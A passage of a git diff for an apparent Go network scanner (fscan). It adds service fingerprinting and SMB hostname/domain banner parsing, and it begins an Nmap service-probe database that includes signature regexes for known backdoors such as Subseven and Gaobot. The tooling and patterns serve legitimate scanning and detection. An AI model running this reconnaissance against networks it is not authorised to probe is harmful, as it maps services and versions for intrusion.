sByteDec2, nil +} + +// GetAddress 获取目标的完整地址(IP:端口) +func (t *Target) GetAddress() string { + addr := t.IP + ":" + strconv.Itoa(t.Port) + Common.LogDebug("获取目标地址: " + addr) + return addr +} + +// trimBanner 处理和清理横幅数据 +func trimBanner(buf []byte) string { + Common.LogDebug("开始处理横幅数据") + bufStr := string(buf) + + // 特殊处理SMB协议 + if strings.Contains(bufStr, "SMB") { + banner := hex.EncodeToString(buf) + if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex + Common.LogDebug("检测到SMB协议数据") + plain := banner[0xa2:] + data, err := hex.DecodeString(plain) + if err != nil { + Common.LogDebug("SMB数据解码失败: " + err.Error()) + return bufStr + } + + // 解析domain + var domain string + var index int + for i, s := range data { + if s != 0 { + domain += string(s) + } else if i+1 < len(data) && data[i+1] == 0 { + index = i + 2 + break + } + } + + // 解析hostname + var hostname string + remainData := data[index:] + for i, h := range remainData { + if h != 0 { + hostname += string(h) + } + if i+1 < len(remainData) && remainData[i+1] == 0 { + break + } + } + + smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain) + Common.LogDebug("SMB横幅: " + smbBanner) + return smbBanner + } + } + + // 处理常规数据 + var src string + for _, ch := range bufStr { + if ch > 32 && ch < 125 { + src += string(ch) + } else { + src += " " + } + } + + // 清理多余空白 + re := regexp.MustCompile(`\s{2,}`) + src = re.ReplaceAllString(src, ".") + result := strings.TrimSpace(src) + Common.LogDebug("处理后的横幅: " + result) + return result +} + +// Init 初始化VScan对象 +func (v *VScan) Init() { + Common.LogDebug("开始初始化VScan") + v.parseProbesFromContent(ProbeString) + v.parseProbesToMapKName() + v.SetusedProbes() + Common.LogDebug("VScan初始化完成") +} diff --git a/Core/PortInfo.go b/Core/PortInfo.go new file mode 100644 index 0000000..fe582aa --- /dev/null +++ b/Core/PortInfo.go @@ -0,0 +1,472 @@ +package Core + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "io" + "net" + "strings" + "time" +) + +// 服务信息结构 +type ServiceInfo struct { + Name string // 服务名称 + Banner string // 服务横幅 + Version string // 版本信息 + Extras map[string]string // 额外信息 +} + +// Result 结构体 +type Result struct { + Service Service + Banner string + Extras map[string]string + Send []byte // 发送的数据 + Recv []byte // 接收到的数据 +} + +type Service struct { + Name string + Extras map[string]string +} + +// 扫描器相关结构 +type Info struct { + Address string + Port int + Conn net.Conn + Result Result + Found bool +} + +type PortInfoScanner struct { + Address string + Port int + Conn net.Conn + Timeout time.Duration + info *Info +} + +// 预定义探测器 +var ( + null = new(Probe) + common = new(Probe) +) + +// NewPortInfoScanner 创建新的端口服务识别器 +func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner { + return &PortInfoScanner{ + Address: addr, + Port: port, + Conn: conn, + Timeout: timeout, + info: &Info{ + Address: addr, + Port: port, + Conn: conn, + Result: Result{ + Service: Service{}, + }, + }, + } +} + +// Identify 识别端口服务 +func (s *PortInfoScanner) Identify() (*ServiceInfo, error) { + Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port)) + s.info.PortInfo() + + // 转换识别结果 + serviceInfo := &ServiceInfo{ + Name: s.info.Result.Service.Name, + Banner: s.info.Result.Banner, + Version: s.info.Result.Service.Extras["version"], + Extras: make(map[string]string), + } + + // 复制额外信息 + for k, v := range s.info.Result.Service.Extras { + serviceInfo.Extras[k] = v + } + + Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name)) + return serviceInfo, nil +} + +// PortInfo 用于获取端口服务信息 +func (i *Info) PortInfo() { + // 首次尝试读取响应 + if response, err := i.Read(); err == nil && len(response) > 0 { + Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response))) + + // 依次使用 null 和 common 探测器检查响应 + Common.LogDebug("尝试使用基础探测器(null/common)检查响应") + if i.tryProbes(response, []*Probe{null, common}) { + Common.LogDebug("基础探测器匹配成功") + return + } + Common.LogDebug("基础探测器未匹配") + } else if err != nil { + Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err)) + } + + // 记录已使用的探测器 + usedProbes := make(map[string]struct{}) + + // 处理特定端口映射的探测 + Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port)) + if i.processPortMapProbes(usedProbes) { + Common.LogDebug("端口专用探测器匹配成功") + return + } + Common.LogDebug("端口专用探测器未匹配") + + // 使用默认探测器进行检测 + Common.LogDebug("尝试使用默认探测器列表") + if i.processDefaultProbes(usedProbes) { + Common.LogDebug("默认探测器匹配成功") + return + } + Common.LogDebug("默认探测器未匹配") + + // 如果未能识别服务,标记为未知 + if strings.TrimSpace(i.Result.Service.Name) == "" { + Common.LogDebug("未识别出服务,标记为 unknown") + i.Result.Service.Name = "unknown" + } +} + +// tryProbes 尝试使用给定的探测器列表检查响应 +func (i *Info) tryProbes(response []byte, probes []*Probe) bool { + for _, probe := range probes { + Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name)) + i.GetInfo(response, probe) + if i.Found { + Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name)) + return true + } + } + return false +} + +// processPortMapProbes 处理端口映射中的探测器 +func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool { + if len(Common.PortMap[i.Port]) == 0 { + Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port)) + return false + } + + for _, name := range Common.PortMap[i.Port] { + Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name)) + usedProbes[name] = struct{}{} + probe := v.ProbesMapKName[name] + + // 解码探测数据 + probeData, err := DecodeData(probe.Data) + if err != nil || len(probeData) == 0 { + Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name)) + continue + } + + // 建立连接获取响应 + Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData))) + if response := i.Connect(probeData); len(response) > 0 { + Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response))) + + // 使用当前探测器检查响应 + i.GetInfo(response, &probe) + if i.Found { + return true + } + + // 根据探测器类型进行额外检查 + switch name { + case "GenericLines": + if i.tryProbes(response, []*Probe{null}) { + return true + } + case "NULL": + continue + default: + if i.tryProbes(response, []*Probe{common}) { + return true + } + } + } + } + return false +} + +// processDefaultProbes 处理默认探测器 +func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool { + failCount := 0 + const maxFailures = 10 + + for _, name := range Common.DefaultMap { + // 跳过已使用的探测器 + if _, used := usedProbes[name]; used { + continue + } + + probe := v.ProbesMapKName[name] + probeData, err := DecodeData(probe.Data) + if err != nil || len(probeData) == 0 { + continue + } + + // 建立连接获取响应 + response := i.Connect(probeData) + if len(response) == 0 { + failCount++ + if failCount > maxFailures { + return false + } + continue + } + + // 使用当前探测器检查响应 + i.GetInfo(response, &probe) + if i.Found { + return true + } + + // 根据探测器类型进行额外检查 + switch name { + case "GenericLines": + if i.tryProbes(response, []*Probe{null}) { + return true + } + case "NULL": + continue + default: + if i.tryProbes(response, []*Probe{common}) { + return true + } + } + + // 尝试使用端口映射中的其他探测器 + if len(Common.PortMap[i.Port]) > 0 { + for _, mappedName := range Common.PortMap[i.Port] { + usedProbes[mappedName] = struct{}{} + mappedProbe := v.ProbesMapKName[mappedName] + i.GetInfo(response, &mappedProbe) + if i.Found { + return true + } + } + } + } + return false +} + +// GetInfo 分析响应数据并获取服务信息 +func (i *Info) GetInfo(response []byte, probe *Probe) { + Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response))) + + // 响应数据长度检查 + if len(response) <= 0 { + Common.LogDebug("响应数据为空") + return + } + + result := &i.Result + var ( + softMatch Match + softFound bool + ) + + Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name)) + // 处理主要匹配规则 + if matched, match := i.processMatches(response, probe.Matchs); matched { + Common.LogDebug("找到硬匹配") + return + } else if match != nil { + Common.LogDebug("找到软匹配") + softFound = true + softMatch = *match + } + + // 处理回退匹配规则 + if probe.Fallback != "" { + Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback)) + if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok { + if matched, match := i.processMatches(response, fbProbe.Matchs); matched { + Common.LogDebug("回退匹配成功") + return + } else if match != nil { + Common.LogDebug("找到回退软匹配") + softFound = true + softMatch = *match + } + } + } + + // 处理未找到匹配的情况 + if !i.Found { + Common.LogDebug("未找到硬匹配,处理未匹配情况") + i.handleNoMatch(response, result, softFound, softMatch) + } +} + +// processMatches 处理匹配规则集 +func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) { + Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches))) + var softMatch *Match + + for _, match := range *matches { + if !match.MatchPattern(response) { + continue + } + + if !match.IsSoft { + Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service)) + i.handleHardMatch(response, &match) + return true, nil + } else if softMatch == nil { + Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service)) + tmpMatch := match + softMatch = &tmpMatch + } + } + + return false, softMatch +} + +// handleHardMatch 处理硬匹配结果 +func (i *Info) handleHardMatch(response []byte, match *Match) { + Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service)) + result := &i.Result + extras := match.ParseVersionInfo(response) + extrasMap := extras.ToMap() + + result.Service.Name = match.Service + result.Extras = extrasMap + result.Banner = trimBanner(response) + result.Service.Extras = extrasMap + + // 特殊处理 microsoft-ds 服务 + if result.Service.Name == "microsoft-ds" { + Common.LogDebug("特殊处理 microsoft-ds 服务") + result.Service.Extras["hostname"] = result.Banner + } + + i.Found = true + Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner)) +} + +// handleNoMatch 处理未找到匹配的情况 +func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) { + Common.LogDebug("处理未匹配情况") + result.Banner = trimBanner(response) + + if !softFound { + // 尝试识别 HTTP 服务 + if strings.Contains(result.Banner, "HTTP/") || + strings.Contains(result.Banner, "html") { + Common.LogDebug("识别为HTTP服务") + result.Service.Name = "http" + } else { + Common.LogDebug("未知服务") + result.Service.Name = "unknown" + } + } else { + Common.LogDebug("使用软匹配结果") + extras := softMatch.ParseVersionInfo(response) + result.Service.Extras = extras.ToMap() + result.Service.Name = softMatch.Service + i.Found = true + Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name)) + } +} + +// Connect 发送数据并获取响应 +func (i *Info) Connect(msg []byte) []byte { + i.Write(msg) + reply, _ := i.Read() + return reply +} + +const WrTimeout = 5 // 默认超时时间(秒) + +// Write 写入数据到连接 +func (i *Info) Write(msg []byte) error { + if i.Conn == nil { + return nil + } + + // 设置写入超时 + i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout))) + + // 写入数据 + _, err := i.Conn.Write(msg) + if err != nil && strings.Contains(err.Error(), "close") { + i.Conn.Close() + // 重试连接 + i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) + if err == nil { + i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout))) + _, err = i.Conn.Write(msg) + } + } + + // 记录发送的数据 + if err == nil { + i.Result.Send = msg + } + + return err +} + +// Read 从连接读取响应 +func (i *Info) Read() ([]byte, error) { + if i.Conn == nil { + return nil, nil + } + + // 设置读取超时 + i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout))) + + // 读取数据 + result, err := readFromConn(i.Conn) + if err != nil && strings.Contains(err.Error(), "close") { + // 连接关闭的错误处理 + return result, err + } + + // 记录接收到的数据 + if len(result) > 0 { + i.Result.Recv = result + } + + return result, err +} + +// readFromConn 从连接读取数据的辅助函数 +func readFromConn(conn net.Conn) ([]byte, error) { + size := 2 * 1024 + var result []byte + + for { + buf := make([]byte, size) + count, err := conn.Read(buf) + + if count > 0 { + result = append(result, buf[:count]...) + } + + if err != nil { + if len(result) > 0 { + return result, nil + } + if err == io.EOF { + return result, nil + } + return result, err + } + + if count < size { + return result, nil + } + } +} diff --git a/Core/PortScan.go b/Core/PortScan.go index c7cdf2a..5a7ab8d 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -11,6 +11,7 @@ import ( "net" "runtime" "sort" + "strings" "sync" "time" ) @@ -21,15 +22,23 @@ type Addr struct { port int // 端口号 } +// ScanResult 扫描结果 +type ScanResult struct { + Address string // IP地址 + Port int // 端口号 + Service *ServiceInfo // 服务信息 +} + func PortScan(hostslist []string, ports string, timeout int64) []string { - var AliveAddress []string + var results []ScanResult + var aliveAddrs []string // 新增:存储活跃地址 var mu sync.Mutex // 解析端口列表 probePorts := Common.ParsePort(ports) if len(probePorts) == 0 { Common.LogError(fmt.Sprintf("端口格式错误: %s", ports)) - return AliveAddress + return aliveAddrs } // 排除指定端口 @@ -38,7 +47,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { // 创建通道 workers := Common.ThreadNum addrs := make(chan Addr, 100) - results := make(chan string, 100) + scanResults := make(chan ScanResult, 100) var wg sync.WaitGroup var workerWg sync.WaitGroup @@ -48,7 +57,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { go func() { defer workerWg.Done() for addr := range addrs { - PortConnect(addr, results, timeout, &wg) + PortConnect(addr, scanResults, timeout, &wg) } }() } @@ -58,9 +67,12 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { resultWg.Add(1) go func() { defer resultWg.Done() - for result := range results { + for result := range scanResults { mu.Lock() - AliveAddress = append(AliveAddress, result) + results = append(results, result) + // 构造活跃地址字符串 + aliveAddr := fmt.Sprintf("%s:%d", result.Address, result.Port) + aliveAddrs = append(aliveAddrs, aliveAddr) mu.Unlock() } }() @@ -76,24 +88,23 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { close(addrs) workerWg.Wait() wg.Wait() - close(results) + close(scanResults) resultWg.Wait() - return AliveAddress + return aliveAddrs } -func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) { +func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.WaitGroup) { defer wg.Done() var isOpen bool var err error + var conn net.Conn if Common.UseSynScan { - // SYN扫描 isOpen, err = SynScan(addr.ip, addr.port, timeout) } else { - // 标准TCP扫描 - conn, err := Common.WrapperTcpWithTimeout("tcp4", + conn, err = Common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", addr.ip, addr.port), time.Duration(timeout)*time.Second) if err == nil { @@ -106,10 +117,57 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy return } - // 记录开放端口 address := fmt.Sprintf("%s:%d", addr.ip, addr.port) Common.LogSuccess(fmt.Sprintf("端口开放 %s", address)) - respondingHosts <- address + + // 创建扫描结果 + result := ScanResult{ + Address: addr.ip, + Port: addr.port, + } + + // 进行服务识别 + if conn != nil { + scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second) + if serviceInfo, err := scanner.Identify(); err == nil { + result.Service = serviceInfo + + // 打印服务识别信息 + var logMsg strings.Builder + logMsg.WriteString(fmt.Sprintf("服务识别 %s => ", address)) + + // 添加服务名称 + if serviceInfo.Name != "unknown" { + logMsg.WriteString(fmt.Sprintf("[%s]", serviceInfo.Name)) + } + + // 添加版本信息 + if serviceInfo.Version != "" { + logMsg.WriteString(fmt.Sprintf(" 版本:%s", serviceInfo.Version)) + } + + // 添加其他有用的信息 + if v, ok := serviceInfo.Extras["vendor_product"]; ok && v != "" { + logMsg.WriteString(fmt.Sprintf(" 产品:%s", v)) + } + if v, ok := serviceInfo.Extras["os"]; ok && v != "" { + logMsg.WriteString(fmt.Sprintf(" 系统:%s", v)) + } + if v, ok := serviceInfo.Extras["info"]; ok && v != "" { + logMsg.WriteString(fmt.Sprintf(" 信息:%s", v)) + } + + // 如果有Banner且长度合适,也输出 + if len(serviceInfo.Banner) > 0 && len(serviceInfo.Banner) < 100 { + logMsg.WriteString(fmt.Sprintf(" Banner:[%s]", strings.TrimSpace(serviceInfo.Banner))) + } + + Common.LogSuccess(logMsg.String()) + } + } + + // 发送结果 + results <- result } // NoPortScan 生成端口列表(不进行扫描) diff --git a/Core/nmap-service-probes.txt b/Core/nmap-service-probes.txt new file mode 100644 index 0000000..a503108 --- /dev/null +++ b/Core/nmap-service-probes.txt @@ -0,0 +1,16624 @@ +# Nmap service detection probe list -*- mode: fundamental; -*- +# $Id$ +# +# This is a database of custom probes and expected responses that the +# Nmap Security Scanner ( https://nmap.org ) uses to +# identify what services (eg http, smtp, dns, etc.) are listening on +# open ports. Contributions to this database are welcome. +# Instructions for obtaining and submitting service detection fingerprints can +# be found in the Nmap Network Scanning book and online at +# https://nmap.org/book/vscan-community.html +# +# This collection of probe data is (C) 1998-2020 by Insecure.Com +# LLC. It is distributed under the Nmap Public Source license as +# provided in the LICENSE file of the source distribution or at +# https://nmap.org/data/LICENSE . Note that this license +# requires you to license your own work under a compatible open source +# license. If you wish to embed Nmap technology into proprietary +# software, we sell alternative licenses (contact sales@insecure.com). +# Dozens of software vendors already license Nmap technology such as +# host discovery, port scanning, OS detection, and version detection. +# For more details, see https://nmap.org/book/man-legal.html +# +# For details on how Nmap version detection works, why it was added, +# the grammar of this file, and how to detect and contribute new +# services, see https://nmap.org/book/vscan.html. + +# The Exclude directive takes a comma separated list of ports. +# The format is exactly the same as the -p switch. +Exclude T:9100-9107 + +# This is the NULL probe that just compares any banners given to us +##############################NEXT PROBE############################## +Probe TCP NULL q|| +# Wait for at least 6 seconds for data. It used to be 5, but some +# smtp services have lately been instituting an artificial pause (see +# FEATURE('greet_pause') in Sendmail, for example) +totalwaitms 6000 +# If the service closes the connection before 3 seconds, it's probably +# tcpwrapped. Adjust up or down depending on your false-positive rate. +tcpwrappedms 3000 + +match 1c-server m|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/ + +match 3cx-tunnel m|^\x04\0\xfb\xffLAPK| p/3CX Tunnel Protocol/ + +match 4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|s p/4th Dimension database server/ cpe:/a:4d_sas:4d/ + +match aastra-pbx m|^BUSY$| p|Aastra/Mitel 400-series PBX service port| +match acap m|^\* ACAP \(IMPLEMENTATION \"CommuniGate Pro ACAP (\d[-.\w]+)\"\) | p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/ cpe:/a:stalker:communigate_pro:$1/ +match acarsd m|^g\0\0\0\x1b\0\0\0\0\0\0\0acarsd\t([\w._-]+)\tAPI-([\w._-]+)\)\0\0\0\x06\x05\0\0\0\0\0\0<\?xml | p/acarsd/ v/$1/ i/API $2/ cpe:/a:acarsd:acarsd:$1/ +match acmp m|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/ + +match apachemq m|^\0\0..\x01ActiveMQ\0\0\0.\x01\0\0.*\x0cProviderName\t\0\x08ActiveMQ.*\x0fPlatformDetails\t..JVM: (\d[^,]*), [^,]*, Oracle Corporation, OS: Linux, (\d\.[\d.]+)[^,]*, ([\w_-]+).*\x0fProviderVersion\t..(\d[\w._-]*)|s p/ActiveMQ OpenWire transport/ v/$4/ i/Java $1; arch: $3/ o/Linux $2/ cpe:/a:apache:activemq:$4/ cpe:/o:linux:linux_kernel:$2/a +softmatch apachemq m|^\0\0..\x01ActiveMQ\0| p/ActiveMQ OpenWire transport/ + + +# Microsoft ActiveSync Version 3.7 Build 3083 (It's used for syncing +# my ipaq it disappears when you remove the ipaq.) +match activesync m|^.\0\x01\0[^\0]\0[^\0]\0[^\0]\0[^\0]\0[^\0]\0.*\0\0\0$|s p/Microsoft ActiveSync/ o/Windows/ cpe:/a:microsoft:activesync/ cpe:/o:microsoft:windows/a +match activesync m|^\(\0\0\0\x02\0\0\0\x03\0\0\0\+\0\0\x003\0\0\0\0\0\0\0\x04\0\0`\x01\0\0\xff\0\0\0\0\0\0\0\0\0\0\0$|s p/Citrix ActiveSync/ o/Windows/ cpe:/o:microsoft:windows/a + +match adabas-d m|^Adabas D Remote Control Server Version ([\d.]+) Date [\d-]+ \(key is [0-9a-f]+\)\r\nOK> | p/Adabas D database remote control/ v/$1/ + +match adobe-crossdomain m|^\0$| p/Adobe cross-domain policy/ i/domain: $1; ports: $2/ +# Missing trailing \0? Was like that in the submission. +match adobe-crossdomain m|^[ \n]*[ \n]*$|s p/Adobe cross-domain policy/ i/domain: $1; ports: $2/ +match adobe-crossdomain m|^<\?xml version=\"1\.0\"\?>\r\n\r\n \r\n \r\n\0| p/Konica Minolta printer cross-domain-policy/ +# playbrassmonkey.com +match adobe-crossdomain m|^<\?xml version=\"1\.0\"\?>\0$| p/Brass Monkey cross-domain-policy/ +match adobe-crossdomain m|^<\?xml version="1\.0"\?>\r\n\r\n\r\n \r\n \r\n\r\n| p/Facebook cross-domain policy/ +softmatch adobe-crossdomain m|^<\?xml version=\"1\.0\"\?>.*|s + +match afsmain m|^\+Welcome to Ability FTP Server \(Admin\)\. \[20500\]\r\n| p/Code-Crafters Ability FTP Server afsmain admin/ o/Windows/ cpe:/a:code-crafters:ability_ftp_server/ cpe:/o:microsoft:windows/a + +match airserv-ng m|^\x05\0\0\x01.\0\0\0\0....\xff\xff\xff.\0\0\0\0\0\0\0.\0\0\0\0\0\x0fB@\0\0\0.\x80\0\0\0\xff\xff\xff\xff\xff\xff|s p/airserv-ng/ cpe:/a:aircrack-ng:airserv-ng/ + +match altiris-agent m|^<\0r\0e\0s\0p\0o\0n\0s\0e\0>\0C\0o\0n\0n\0e\0c\0t\0e\0d\0 \0t\0o\0 [\0\d.]*<\0/\0r\0e\0s\0p\0o\0n\0s\0e\0>\0$| p/Altiris remote monitoring agent/ + +# AMANDA index server 2.4.2p2 on Linux 2.4 +match amanda m|^220 ([-.\w]+) AMANDA index server \((\d[-.\w ]+)\) ready\.\r\n| p/Amanda backup system index server/ v/$2/ o/Unix/ h/$1/ cpe:/a:amanda:amanda:$2/ +match amanda m|^501 Could not read config file [^!\r\n]+!\r\n220 ([-.\w]+) AMANDA index server \(([-\w_.]+)\) ready\.\r\n| p/Amanda backup system index server/ v/$2/ i/broken: config file not found/ h/$1/ cpe:/a:amanda:amanda:$2/ +match amanda m|^ld\.so\.1: amandad: fatal: (libsunmath\.so\.1): open failed: No such file or directory\n$| p/Amanda backup system index server/ i/broken: $1 not found/ cpe:/a:amanda:amanda/ +match amanda m|^\n\*\* \(process:\d+\): CRITICAL \*\*: GLib version too old \(micro mismatch\): Amanda was compiled with glib-[\d.]+, but linking with ([\d.]+)\n| p/Amanda backup system index server/ i/broken: GLib $1 too old/ cpe:/a:amanda:amanda/ + +match AndroMouse m|^AMServer$|s p/AndroMouse Android remote mouse server/ + +match antivir m|^220 Symantec AntiVirus Scan Engine ready\.\r\n| p/Symantec AntiVirus Scan Engine/ cpe:/a:symantec:antivirus/ cpe:/a:symantec:antivirus_scan_engine/ +match antivir m|^200 NOD32SS ([\d.]+) \((\d+)\)\r\n| p/NOD32 AntiVirus/ v/$1 ($2)/ cpe:/a:eset:nod32_antivirus:$1/ + +match anyremote m|^Set\(icons,M,6,forward,7,prev,8,stop,9,next,\*,question,0,pause,#,no\);Set\(font,small\);Set\(menu,replace,Playlist,Toggle Shuffle,Toggle Repeat\);Set\(icons,MPD,1,vol_down,2,mute,3,vol_up,4,rewind,5,play,6,forward,7,prev,8,stop,9,next,\*,question,0,pause,#,no\);Set\(font,small\);Set\(menu,replace,Playlist,Toggle Shuffle,Toggle Repeat\);$| p/anyRemote remote control daemon/ + +match aperio-aaf m|^| p/Aperio Algorithm Framework/ + +match aplus m|^\x01\xff\0\xff\x01\x1d\0\xfd\0\n\x03\x05A\+ API \(([\d.]+)\) - CCS \(([\d.]+)\)\0| p/Cleo A+/ i/API $1; CSS $2/ +match app m|^\0\x01\0\x08\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\x02$| p/Cisco Application Peering Protocol/ d/load balancer/ +match appguard-db m|^200 Welkom bij de Appguard UserDatabase Server v([\d.]+)\r\nWhatsUP\? .{10}\r\n| p/App Appguard UserDatabase/ v/$1/ cpe:/a:app_bv:appguard_userdatabase:$1/ + +# http://www.qosient.com/argus/ +match argus m|^\x80\x01\0\x80\0\x80\0\0\xe5az\xcb\0\0\0\0J...............\x02\0\x01\0\0<\x01,.......\0...\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff\xff\xff\x01\x04\0.\0\x80\x08|s p/Argus network analyzer/ v/3.0/ + +match arkeia m|^\0`\0\x04\0\0\0\x1810\x000\x000\x00852224\0\0\0\0\0\0\0\0\0\0\0$| p/Arkeia Network Backup/ +# arkstats (part of arkeia-light 5.1.12 Backup server) on Linux 2.4.20 +match arkstats m|^\0`\0\x03\0\0\0\x1810\x000\x000\x00852224\0\0\0\0\0\0\0\0\0\0\0| p/Arkeia arkstats/ +match articy-server m|^# ACL Comm Layer V1\.0\r\nSalt: \S+@([\w.-]+)\r\nProcessors: \(ArticyWorkflowServer\)\r\nAuthenticators:| p/articy:draft server/ h/$1/ cpe:/a:nevigo:articy%3adraft/ +match artsd m|^MCOP\0\0\0.\0\0\0\x01\0\0\0\x10aRts/MCOP-([\d.]+)\0\0\0\0|s p/artsd/ i/MCOP $1/ + +# Asterisk call manager - port 5038 +match asterisk m|^Asterisk Call Manager/([\d.]+)\r\n| p/Asterisk Call Manager/ v/$1/ cpe:/a:digium:asterisk:$1/ +match asterisk-proxy m|^Response: Follows\r\nPrivilege: Command\r\n--END COMMAND--\r\n| p/Asterisk Call Manager Proxy/ cpe:/a:digium:asterisk/ + +match asus-nfc m|^\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0$| p/ASUS DTNFCServer/ +match asus-transfer m|^\0\0\0\0\0\0\0\0`\x06\0\0\0\0\0\0\x01\0P\x06\0{86}\xfe{510}\0\0\0\0\0\0\xfe{278}| p/ASUS Wi-Fi GO! file transfer/ cpe:/a:asus:wi-fi_go/ + +match audit m|^Visionsoft Audit on Demand Service\r\nVersion: ([\d.]+)\r\n\r\n| p/Visionsoft Audit on Demand Service/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match autosys m|^([\w._-]+)\nListener for [\w._-]+ AutoSysAdapter\nEOS\nExit Code = 1001\nIP <[\d.]+> is not authorized for this request\. Please contact your Web Administrator\.\nEOS\n| p/CA AutoSys RCS Listener/ v/$1/ i/not authorized/ +match avg m|^220-AVG7 Anti-Virus daemon mode scanner\r\n220-Program version ([\d.]+), engine (\d+)\r\n220-Virus Database: Version ([\d/.]+) [-\d]+\r\n| p/AVG daemon mode/ v/$1 engine $2/ i/Virus DB $3/ cpe:/a:avg:anti-virus:$1/ +match avg m=^220-AVG daemon mode scanner \((?:AVG|SMTP)\)\r\n220-Program version ([\w._-]+)\r\n220-Virus Database: Version ([\w._/ -]+)\r\n220 Ready\r\n= p/AVG daemon mode/ v/$1/ i/Virus DB $2/ cpe:/a:avg:anti-virus:$1/ + +match afbackup m|^afbackup ([\d.]+)\n\nAF's backup server ready\.\n| p/afbackup/ v/$1/ +match afbackup m|^.*, Warning on encryption key file `/etc/afbackup/cryptkey': File not readable\.\n.*, Warning: Ignoring file `/etc/afbackup/cryptkey', using compiled-in key\.\nafbackup 3\.4\n\nAF's backup server ready\.\n\x9d\x84\x0bZ$| p/afbackup/ i/using compiled-in key/ + +match backdoor m|^220 jeem\.mail\.pv ESMTP\r\n| p/Jeem backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^\r\nUser Access Verification\r\n\r\nYour PassWord:| p/Jeem backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^ \r\n$| p/OptixPro backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^echo o [\d.]+ \d+ >s\r\necho common>> s\r\necho common>> s\r\necho bin>> s\r\necho get m220\.exe| p/JTRAM backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^220 Bot Server \(Win32\)\r\n$| p/Gaobot backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^PWD$| p/Subseven backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^\r\n\[RPL\]002\r\n$| p/Subseven backdoor/ i/**BACKDOOR**/ +match backdoor m|^=+\n= +RBackdoor ([\d.]+) | p/RBackdoor/ v/$1/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^220 Windrone Server \(Win32\)\r\n$| p/NerdBot backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^Zadej heslo:$| p/Czech "zadej heslo" backdoor/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^220 Reptile welcomes you\.\.\r\n| p/Darkmoon backdoor "reptile" ftpd/ i/**BACKDOOR**/ o/Windows/ cpe:/o:microsoft:windows/a +match backdoor m|^Sifre_EDIT$| 